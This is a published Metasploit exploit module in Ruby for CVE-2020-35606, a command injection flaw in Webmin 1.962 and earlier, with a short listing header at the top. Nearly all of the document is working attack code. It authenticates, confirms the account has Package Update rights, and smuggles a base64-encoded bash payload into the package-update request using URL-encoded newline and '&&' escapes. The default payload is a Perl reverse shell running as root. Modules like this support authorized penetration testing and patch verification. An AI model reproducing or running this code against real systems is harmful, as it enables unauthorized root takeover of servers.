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Webmin 1.962 Remote Command Execution

Webmin 1.962 Remote Command Execution
Posted Dec 22, 2020
Authored by AkkuS | Site metasploit.com

This Metasploit module exploits an arbitrary command execution vulnerability in Webmin 1.962 and lower versions. Any user authorized to the Package Updates module can execute arbitrary commands with root privileges. It emerged by circumventing the measure taken for CVE-2019-12840.

tags | exploit, arbitrary, root
advisories | CVE-2020-35606
SHA-256 | 0b9d3eed2396c63f8c369c41bb33853aea8748348ce034096856277e638001d6

Webmin 1.962 Remote Command Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin 1.962 - Package Update Escape Bypass RCE (Metasploit)',
'Description' => %q(
This module exploits an arbitrary command execution vulnerability in Webmin
1.962 and lower versions. Any user authorized to the "Package Updates"
module can execute arbitrary commands with root privileges.
It emerged by circumventing the measure taken for CVE-2019-12840.
s/\\(-)|\\(.)/string/g; escape is not enough for prevention.
Therefore, since the package name variable is placed directly in the system command,
we can manipulate it using some escape characters that HTTP supports.
For example, we can escape control by dropping the command line down one line.
We can do this with "%0A" and "%0C" urlencoded row values.Also, for paylad to work correctly,
we must add double an ampersand(&&) to the end of the payload (%26%26)
),
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>' # Vulnerability Discovery, MSF PoC module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', 'CVE-2020-35606'],
['URL', 'https://www.pentest.com.tr/exploits/Webmin-1962-PU-Escape-Bypass-Remote-Command-Execution.html']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'DefaultOptions' =>
{
'RPORT' => 10000,
'SSL' => false,
'PAYLOAD' => 'cmd/unix/reverse_perl'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Webmin <= 1.962', {}]],
'DisclosureDate' => '2020-12-21',
'DefaultTarget' => 0)
)
register_options [
OptString.new('USERNAME', [true, 'Webmin Username']),
OptString.new('PASSWORD', [true, 'Webmin Password']),
OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/'])
]
end

def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end

def login
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'session_login.cgi'),
'cookie' => 'testing=1', # it must be used for "Error - No cookies"
'vars_post' => {
'page' => '',
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD']
}
})

if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/
return $1
end

return nil unless res
''
end

def check
cookie = login
return CheckCode::Detected if cookie == ''
return CheckCode::Unknown if cookie.nil?

vprint_status('Attempting to execute...')
# check version
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "sysinfo.cgi"),
'cookie' => "sid=#{cookie}",
'vars_get' => { "xnavigation" => "1" }
})

if res && res.code == 302 && res.body
version = res.body.split("Webmin 1.")[1]
return CheckCode::Detected if version.nil?
version = version.split(" ")[0]
if version <= "962"
# check package update priv
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "package-updates/"),
'cookie' => "sid=#{cookie}"
})

if res && res.code == 200 && res.body =~ /Software Package Update/
print_status("NICE! #{datastore['USERNAME']} has the right to >>Package Update<<")
return CheckCode::Vulnerable
end
end
end
print_error("#{datastore['USERNAME']} doesn't have the right to >>Package Update<<")
print_status("Please try with another user account!")
CheckCode::Safe
end

def exploit
cookie = login
if cookie == '' || cookie.nil?
fail_with(Failure::Unknown, 'Failed to retrieve session cookie')
end
print_good("Session cookie: #{cookie}")

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'proc', 'index_tree.cgi'),
'headers' => { 'Referer' => "#{peer}/sysinfo.cgi?xnavigation=1" },
'cookie' => "sid=#{cookie}"
)
unless res && res.code == 200
fail_with(Failure::Unknown, 'Request failed')
end

print_status("Attempting to execute the payload...")
run_update(cookie)
end

def run_update(cookie)
@b64p = Rex::Text.encode_base64(payload.encoded)
perl_payload = 'bash -c "{echo,' + "#{@b64p}" + '}|{base64,-d}|{bash,-i}"'
payload = Rex::Text.uri_encode(perl_payload)

res = send_request_cgi(
{
'method' => 'POST',
'cookie' => "sid=#{cookie}",
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'package-updates', 'update.cgi'),
'headers' =>
{
'Referer' => "#{peer}/package-updates/?xnavigation=1"
},
# new vector // bypass to backslash %0A%7C{}%26%26
'data' => "redir=%2E%2E%2Fsquid%2F&redirdesc=Squid%20Proxy%20Server&mode=new&u=squid34%0A%7C#{payload}%26%26"
# for CVE-2019-12840 #'data' => "u=acl%2Fapt&u=%20%7C%20#{payload}&ok_top=Update+Selected+Packages"
})
end
end

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